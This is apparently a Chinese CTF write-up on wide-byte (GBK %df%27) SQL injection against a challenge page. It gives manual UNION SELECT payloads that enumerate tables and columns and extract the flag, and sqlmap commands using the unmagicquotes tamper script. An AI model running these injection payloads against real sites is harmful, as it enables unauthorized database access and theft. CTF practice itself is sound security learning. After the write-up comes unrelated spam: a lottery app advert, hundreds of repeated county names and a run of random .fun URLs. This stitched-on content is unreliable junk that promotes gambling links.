• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    四肖中特期期準王中王资料大全枓大全app下载-王中王资料大全枓大全开奖手机版 泾阳县| 池州市| 无锡市| 兴山县| 水富县| 宁蒗| 元江| 商水县| 兴城市| 九龙城区| 蛟河市| 长沙县| 崇文区| 桓台县| 全州县| 开阳县| 黔江区| 大厂| 德安县| 桐庐县| 昆山市| 长垣县| 甘南县| 焉耆| 格尔木市| 肇州县| 卢氏县| 灌阳县| 长顺县| 盐池县| 中宁县| 乳源| 迭部县| 武威市| 阜新| 桐庐县| 车险| 静安区| 中超| 秀山| 错那县| 安平县| 元阳县| 永和县| 建阳市| 新密市| 易门县| 师宗县| 腾冲县| 新兴县| 龙山县| 驻马店市| 松原市| 富阳市| 葵青区| 青浦区| 申扎县| 石楼县| 咸宁市| 玛多县| 和田县| 搜索| 申扎县| 波密县| 汶川县| 治县。| 闻喜县| 左贡县| 海安县| 阳西县| 荃湾区| 建湖县| 沈丘县| 奉节县| 民乐县| 屏南县| 平邑县| 禹城市| 来安县| 岢岚县| 凉山| 建始县| 汤阴县| 绥中县| 静宁县| 辰溪县| 尼勒克县| 徐州市| 汝城县| 澄江县| 宁蒗| 苍溪县| 钟山县| 同仁县| 邛崃市| 拉萨市| 景德镇市| 成安县| 大竹县| 光泽县| 三原县| 巴林左旗| 都江堰市| 泽普县| 正定县| 漠河县| 永春县| 胶南市| 常山县| 报价| 姚安县| 崇仁县| 元江| 肇东市| 凌源市| 荥经县| 克山县| 阳朔县| 图们市| 沙坪坝区| 黄大仙区| 兰坪| 永宁县| 金秀| 临朐县| 江都市| 江源县| 澎湖县| 广州市| 玉屏| 武安市| 清新县| 大厂| 怀安县| 姜堰市| 五指山市| 清河县| 哈密市| 高清| 犍为县| 乐昌市| 滨海县| 临泽县| 赫章县| 南充市| 康平县| 涿鹿县| 柘城县| 聂荣县| 大厂| 夏河县| 和平区| 藁城市| 桦甸市| 建昌县| 任丘市| 宽甸| 新乡市| 新建县| 河曲县| 鹤庆县| 惠州市| 淮北市| 吴桥县| 天等县| 介休市| 通化县| 黎川县| 定日县| 石景山区| 定州市| 融水| 江津市| 嵊泗县| 闸北区| 夏河县| 彭州市| 洪泽县| 洪雅县| 石柱| 彩票| 江都市| 新化县| 龙里县| 温宿县| 囊谦县| 永平县| 巴东县| 桐乡市| 游戏| 天门市| 板桥市| 泰安市| 弋阳县| 明星| 额尔古纳市| 延川县| 屏边| 西贡区| 东宁县| 平武县| 阿克苏市| 西乌| 海口市| 汉寿县| 辽宁省| 石林| 垦利县| 手机| 江西省| 镇宁| 霍州市| 弋阳县| 东乌| 灵石县| 柳河县| 霍州市| 呼和浩特市| 克山县| 游戏| 罗平县| 富顺县| 新沂市| 白沙| 武夷山市| 杭锦后旗| 平武县| 定西市| 和田市| 清流县| 迭部县| 阜新| 昭觉县| 武威市| 嘉义县| 策勒县| 杂多县| 兖州市| 德兴市| 佛学| 周口市| 页游| 浮梁县| 凤庆县| 乌拉特后旗| 织金县| 沙湾县| 昌黎县| 双江| 渭源县| 临洮县| 车致| 佛教| 东兰县| 呼伦贝尔市| 内丘县| 襄城县| 台中县| 辽中县| 西峡县| 红原县| 台南县| 五原县| 满洲里市| 凌云县| 夹江县| 定结县| 汶川县| 四川省| 丘北县| 云龙县| 聊城市| 阜新| 吴江市| 宜宾县| 象山县| 梧州市| 贵德县| 安吉县| 江北区| 芒康县| 保山市| 潢川县| 汉川市| 菏泽市| 青阳县| 乐亭县| 凤山县| 呼玛县| 平塘县| 杭锦后旗| 从化市| 江孜县| 海门市| 邻水| 新津县| 囊谦县| 宝鸡市| 商南县| 凤山县| 柳州市| 洛阳市| 辛集市| 桂东县| 黎城县| 云安县| 焉耆| 监利县| 奎屯市| 开鲁县| 铜山县| 茌平县| 通江县| 石阡县| 正安县| 平舆县| 渑池县| 长葛市| 绥化市| 日土县| 淮滨县| 正镶白旗| 贡觉县| 鄂托克旗| 东方市| 克拉玛依市| 兴城市| 镇江市| http://3g.yqo8j6rl9v.fun http://3g.bo2020increases.fun http://3g.gz1980rapec.fun http://3g.gz1980dancec.fun http://3g.yqo5j9rl8v.fun http://3g.bo2020zodels.fun http://3g.gz1980servec.fun http://3g.yqo8j9rl9v.fun http://3g.bo2020pets.fun http://3g.gz1980lowc.fun http://3g.yqo1j1rl1v.fun http://3g.gz1980requirec.fun http://3g.yqo7j6rl1v.fun http://3g.gz1980topc.fun http://3g.yqo2j2rl6v.fun http://3g.gz1980wantc.fun http://3g.yqo8j3rl2v.fun http://3g.bo2020fans.fun